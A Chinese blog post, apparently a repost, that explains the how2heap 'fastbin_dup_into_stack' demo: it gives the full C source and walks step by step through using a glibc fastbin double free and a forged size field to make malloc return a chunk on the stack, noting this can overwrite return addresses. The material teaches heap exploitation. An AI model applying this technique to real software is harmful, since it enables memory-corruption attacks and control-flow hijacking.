3.fastbin_dup_into_stack

源代码

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3 
 4 int main()
 5 {
 6     fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
 7            "returning a pointer to a controlled location (in this case, the stack).\n");
 8 
 9     unsigned long long stack_var;
10 
11     fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
12 
13     fprintf(stderr, "Allocating 3 buffers.\n");
14     int *a = malloc(8);
15     int *b = malloc(8);
16     int *c = malloc(8);
17 
18     fprintf(stderr, "1st malloc(8): %p\n", a);
19     fprintf(stderr, "2nd malloc(8): %p\n", b);
20     fprintf(stderr, "3rd malloc(8): %p\n", c);
21 
22     fprintf(stderr, "Freeing the first one...\n");
23     free(a);
24 
25     fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
26     // free(a);
27 
28     fprintf(stderr, "So, instead, we'll free %p.\n", b);
29     free(b);
30 
31     fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
32     free(a);
33 
34     fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
35         "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
36     unsigned long long *d = malloc(8);
37 
38     fprintf(stderr, "1st malloc(8): %p\n", d);
39     fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
40     fprintf(stderr, "Now the free list has [ %p ].\n", a);
41     fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
42         "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
43         "so that malloc will think there is a free chunk there and agree to\n"
44         "return a pointer to it.\n", a);
45     stack_var = 0x20;
46 
47     fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
48     *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
49 
50     fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
51     fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
52 }

运行结果

checksec

先申明了一个unsigned long long类型的变量stack_var  是main函数的局部变量,所以在栈上

之后同fastbin_dup中一样,造成double free效果

a->b->a

先申请一块8字节内存d,使用了a的内存

此时链表 b->a

再将b也申请掉

链表中只剩下a

将stack_var变量修改为0x20 即a b d堆块size字段相同大小

将d数据内存的前8个字节修改为&stack_var-8

即伪造d堆块的fd字段为&stack_var-8

在&stack_var-8处伪造了一个堆块fake

字段size=0x20

栈内存 

0x7fffffffdcd0处即为stack_var=0x20

伪造的堆块所占内存为0x7fffffffdcc8——0x7fffffffdce8

然后将d->fd=fake

因为d和a指向同一块内存

所以a->fd=fake

此时0x20的fastbin内容

 

只要分配掉剩下的a,再分配即分配到了栈中伪造的堆块&stack_var-8处

这里利用了fastbin分配的机制,只检查size字段是否相同

 fastbin中各堆块用fd指针指向fastbin中前一块堆块

取出时采用后进先出原则,配合double free即造成任意分配内存到栈中的漏洞

要点在于伪造堆,size字段和要分配的堆块相同

 如果之后可以向堆块写入内容的话,即可覆盖栈中内容,返回地址等。

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10989829.html
dup